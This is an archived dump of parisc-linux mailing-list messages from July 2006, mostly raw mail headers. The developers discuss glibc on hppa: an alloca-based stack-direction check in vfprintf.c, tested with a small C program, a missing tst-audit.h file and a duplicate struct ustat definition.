List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 0mbPZFN5eSE5qr6WZHQh1ZB2IGRvb0BE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23816

Carlos O'Donell wrote:
> I was looking at our tst-printfsz failures in glibc, and I noticed
> some very cute code in vfprintf.c. The code uses alloca to create a
> specs structure, and then using certain know addresses decides if the
> stack grows down or up.
> 
> Does this look right? Anyone care to review if this actually works
> with a newer GCC on hppa?

I tried this with both old (gcc-3.[34]) and new gcc (gcc-4.[01]) and i 
don't think this works....

tausq@riot:~$ cat alloca.c
#include <alloca.h>
#include <stdio.h>

int main(int argc, char **argv)
{
         int *old;
         int *ptr = alloca(100 * sizeof(int));

         old = ptr;

         ptr = alloca(100 * sizeof(int));

         printf("ptr = %p\nold = %p\n&old[100] = %p\n", ptr, old, 
&old[100]);
         return 0;
}
tausq@riot:~$ gcc-4.1 -Wall -o alloca alloca.c; ./alloca
ptr = 0xc04ca590
old = 0xc04ca3d0
&old[100] = 0xc04ca560

randolph
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@morethan.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 11:51:52 -0500
Lines: 63
Approved: news@gmane.org
Message-ID: <200607181151.53069.mszick@morethan.org>
References: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
	<44BD0369.3090905@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624130 20189 80.91.229.3 (22 Nov 2014 02:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 16:52:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx080) with SMTP; 18 Jul 2006 18:52:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9166C7D70F;
	Tue, 18 Jul 2006 10:52:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02804-10; Tue, 18 Jul 2006 10:52:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E432B7D710;
	Tue, 18 Jul 2006 10:51:59 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DB1DF7D70E
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 10:51:56 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02941-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 10:51:55 -0600 (MDT)
Original-Received: from mx-out.daemonmail.net (mx-out.daemonmail.net [216.104.160.39])
	by free.linux.hp.com (Postfix) with ESMTP id B8EE87D6E6
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 10:51:55 -0600 (MDT)
Original-Received: from localhost.daemonmail.net (localhost.daemonmail.net [127.0.0.1])
	by mx-out.daemonmail.net (8.13.1/8.12.9) with SMTP id k6IGpt8w006338
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 09:51:56 -0700 (PDT)
	(envelope-from mszick@morethan.org)
Original-Received: from [67.77.79.13] (via account 126282)
	by mx-out.daemonmail.net with ESMTP id ud10MeE0
	authenticated by SMTP; Tue, 18 Jul 2006 09:51:55 -0700 (PDT)
User-Agent: KMail/1.7.2
In-Reply-To: <44BD0369.3090905@tausq.org>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: +WTcIF95a0Aovr6aejEz0ms3Njh6dA5r
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23817

On Tue July 18 2006 10:51, Randolph Chung wrote:
> Carlos O'Donell wrote:
> > I was looking at our tst-printfsz failures in glibc, and I noticed
> > some very cute code in vfprintf.c. The code uses alloca to create a
> > specs structure, and then using certain know addresses decides if the
> > stack grows down or up.
> > 
> > Does this look right? Anyone care to review if this actually works
> > with a newer GCC on hppa?
> 
> I tried this with both old (gcc-3.[34]) and new gcc (gcc-4.[01]) and i 
> don't think this works....
> 
> tausq@riot:~$ cat alloca.c
> #include <alloca.h>
> #include <stdio.h>
> 
> int main(int argc, char **argv)
> {
>          int *old;
>          int *ptr = alloca(100 * sizeof(int));
> 
>          old = ptr;
> 
>          ptr = alloca(100 * sizeof(int));
> 
>          printf("ptr = %p\nold = %p\n&old[100] = %p\n", ptr, old, 
> &old[100]);
>          return 0;
> }
> tausq@riot:~$ gcc-4.1 -Wall -o alloca alloca.c; ./alloca
> ptr = 0xc04ca590
> old = 0xc04ca3d0
> &old[100] = 0xc04ca560
> 

For the case of gcc-4.2, stack-grows down...

ptr = 0xbfea1fc0
old = 0xbfea2160
&old[100] = 0xbfea22f0

In both the cases (up/down) &old[100] has an offset of
400 bytes (correct).

There is some compiler generated, machine dependent,
optimization dependent, space between "ptr" and "old[100]"
Most likely the "guaranteed stack alignment" thingy.

Mike
> randolph
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Looking at vfprintf.c and alloca.
Date: Tue, 18 Jul 2006 15:30:40 -0400
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab440607181230l3abcf965y5afe9fe6901e36d7@mail.gmail.com>
References: <119aab440607172040gf1209cp52131893cea42460@mail.gmail.com>
	<44BD0369.3090905@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624130 20191 80.91.229.3 (22 Nov 2014 02:42:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:10 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jul 2006 19:30:57 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 18 Jul 2006 21:30:57 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 567607D719;
	Tue, 18 Jul 2006 13:30:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04059-05; Tue, 18 Jul 2006 13:30:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B618E7D71C;
	Tue, 18 Jul 2006 13:30:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 047457D713
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 13:30:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04059-02 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 13:30:43 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.172])
	by free.linux.hp.com (Postfix) with ESMTP id A4A547D710
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 13:30:42 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so542307ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 18 Jul 2006 12:30:41 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=HPFHxXMKoqMPB0bBIJgzbr+SWFSclIokw0ynF88SXM6w1JuuMetfOfuRJRRorlGZB7NI02I2DAlTJASFnEaRNN7x0d8yoXRepIMvooIpUDSQFilFsMvKOG2NO7ihLlpJq6jiCFpgDAeeEZCK0hPpLSryqbF/xKVn8barOgZrcSs=
Original-Received: by 10.78.116.19 with SMTP id o19mr1724645huc;
	Tue, 18 Jul 2006 12:30:41 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Tue, 18 Jul 2006 12:30:40 -0700 (PDT)
In-Reply-To: <44BD0369.3090905@tausq.org>
Content-Disposition: inline
X-Google-Sender-Auth: 526419dd3f986936
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xQCOcFVQTXs9vqyRbmQ5n61KRzdyMsO+
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23818

On 7/18/06, Randolph Chung <randolph@tausq.org> wrote:
> I tried this with both old (gcc-3.[34]) and new gcc (gcc-4.[01]) and i
> don't think this works....
>
> tausq@riot:~$ gcc-4.1 -Wall -o alloca alloca.c; ./alloca
> ptr = 0xc04ca590
> old = 0xc04ca3d0
> &old[100] = 0xc04ca560

I thought so, if this code is ever execute it will be wrong.

I think our tst-printfsz failure is related to this code trying to
expand the specs and getting the wrong answer.

Michael, want to write a patch to fix this for glibc? :)
I'll support you on libc-alpha!

In glibc I don't think the code should be a runtime check at all,
there are STACK_GROWS_UP macros that should be used.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: tst-audit.h missing?
Date: Sun, 16 Jul 2006 14:13:48 -0400
Lines: 28
Approved: news@gmane.org
Message-ID: <119aab440607161113r2216a066v708af4d9c238849c@mail.gmail.com>
References: <20060716180811.GB29459@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624131 20196 80.91.229.3 (22 Nov 2014 02:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:11 +0000 (UTC)
Cc: libc-ports@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org
To: "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2006 18:13:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx006) with SMTP; 16 Jul 2006 20:13:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D91937D70F;
	Sun, 16 Jul 2006 12:13:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15440-08; Sun, 16 Jul 2006 12:13:55 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F3B447D709;
	Sun, 16 Jul 2006 12:13:54 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4ABBA7D704
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 12:13:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15462-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 12:13:51 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.169])
	by free.linux.hp.com (Postfix) with ESMTP id A85DF7D6FE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 12:13:50 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1489249ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 11:13:49 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=fwmmLbn0lA1Bkl1L9up8IBZt+KfYPkeN2rIt680kRPwKS1cNbcYlwyZW9JNUr9osIdJIAgBswQssG9LCeHG69w5oLqNFwEXSGc/LYaCiPvYeHE6HAl1SkN8Qwfmh8WR/JUnr/acooWORonUhgBixfmHxeKx5XDck+ZYlLT+VnPs=
Original-Received: by 10.78.175.14 with SMTP id x14mr516195hue;
	Sun, 16 Jul 2006 11:13:48 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sun, 16 Jul 2006 11:13:48 -0700 (PDT)
In-Reply-To: <20060716180811.GB29459@titanium.v3.ca>
Content-Disposition: inline
X-Google-Sender-Auth: 9fc7e9c6ca69eebc
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3LONc/9QbGI0oKaDYmRnsdtncmZ1ZhxK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23819

On 7/16/06, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> Carlos,
>
> I don't see sysdeps/hppa/tst-audit.h in my checkout and a grep doesn't
> show me anything that might define pltenter, pltexit & friends.  Without
> this, elf/tst-auditmod1.c won't compile.
>
> This seems to do the trick:
>
> 2006-07-16  Jeff Bailey  <jbailey@ubuntu.com>
>
>         * sysdeps/hppa/tst-audit.h: New file.

Thanks! I'll check this into CVS.

I have tst-audit.h in my development tree, along with a first cut
implementation for dl-trampoline.S (dl_profile).

Expect the auditing tests to fail until I check this into CVS.

Cheersr,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Duplicate ustat structure
Date: Sun, 16 Jul 2006 16:13:55 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440607161313h4c196882gab171b4614957b7c@mail.gmail.com>
References: <20060716160300.GA27091@titanium.v3.ca>
	<jeodvpbj2k.fsf@sykes.suse.de> <20060716170725.GA29459@titanium.v3.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624131 20202 80.91.229.3 (22 Nov 2014 02:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:11 +0000 (UTC)
Cc: Andreas Schwab <schwab@suse.de>,
 libc-ports@sources.redhat.com,
 parisc-linux@lists.parisc-linux.org
To: "Jeff Bailey" <jbailey@raspberryginger.com>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2006 20:14:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 16 Jul 2006 22:14:06 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D29AD7D71B;
	Sun, 16 Jul 2006 14:14:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16102-09; Sun, 16 Jul 2006 14:14:01 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B8537D71C;
	Sun, 16 Jul 2006 14:14:00 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2D2837D713
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 14:13:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16008-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 14:13:57 -0600 (MDT)
Original-Received: from ug-out-1314.google.com (ug-out-1314.google.com [66.249.92.172])
	by free.linux.hp.com (Postfix) with ESMTP id AD8C87D712
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 14:13:56 -0600 (MDT)
Original-Received: by ug-out-1314.google.com with SMTP id k3so1517286ugf
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 13:13:55 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=VIwjfJmqquTvfl5SpZfPFycCgsPbAPoVkj33BlYM6EDUPHN7+UNeV6uvellmMkdFINlnoXMYwr3mSq6Q21mX6fuGr/pPofFOzDTYeAQapPakNmm8WE75Fbpy0TrACQqv4BOOiIuKtnh7SeAdonqE/mgN5/S2eTVBODKHmPFmj5c=
Original-Received: by 10.78.185.7 with SMTP id i7mr565877huf;
	Sun, 16 Jul 2006 13:13:55 -0700 (PDT)
Original-Received: by 10.78.141.1 with HTTP; Sun, 16 Jul 2006 13:13:55 -0700 (PDT)
In-Reply-To: <20060716170725.GA29459@titanium.v3.ca>
Content-Disposition: inline
X-Google-Sender-Auth: a089d8fe29be56e4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OaiJcPRhTXs9vqyRbmQ5Ck5KRzdyMgOa
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23820

On 7/16/06, Jeff Bailey <jbailey@raspberryginger.com> wrote:
> On Sun, Jul 16, 2006 at 06:39:15PM +0200, Andreas Schwab wrote:
>
> > > The problem is that bits/ustat.h includes the definition of struct
> > > ustat.  However, sys/types.h eventually winds up pulling in
> > > linux/types.h which also defines struct ustat.
> >
> > <sys/types.h> should not include <linux/types.h> in the first place.
>
> It seems like it ought to now that the kernel is exporting a set of
> headers that are intended to be used by userspace.  struct ustat is
> defined in linux/types.h.

In which case this patch should go upstream to libc-alpha, where the
generic version of ustat.h should be changed.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:55 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Warning about bad kernel headers.
Date: Sun, 16 Jul 2006 17:39:49 -0400
Organization: wh0rd.org
Lines: 65
Approved: news@gmane.org
Message-ID: <200607161739.50494.vapier@gentoo.org>
References: <119aab440607151526n1318ba80l2523528ac607eaae@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1014574969=="
X-Trace: ger.gmane.org 1416624131 20203 80.91.229.3 (22 Nov 2014 02:42:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jul 2006 21:39:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 16 Jul 2006 23:39:00 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 135347D6EA;
	Sun, 16 Jul 2006 15:38:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17059-01; Sun, 16 Jul 2006 15:38:56 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5A1097D6DF;
	Sun, 16 Jul 2006 15:38:55 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 963A77D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Jul 2006 15:38:52 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
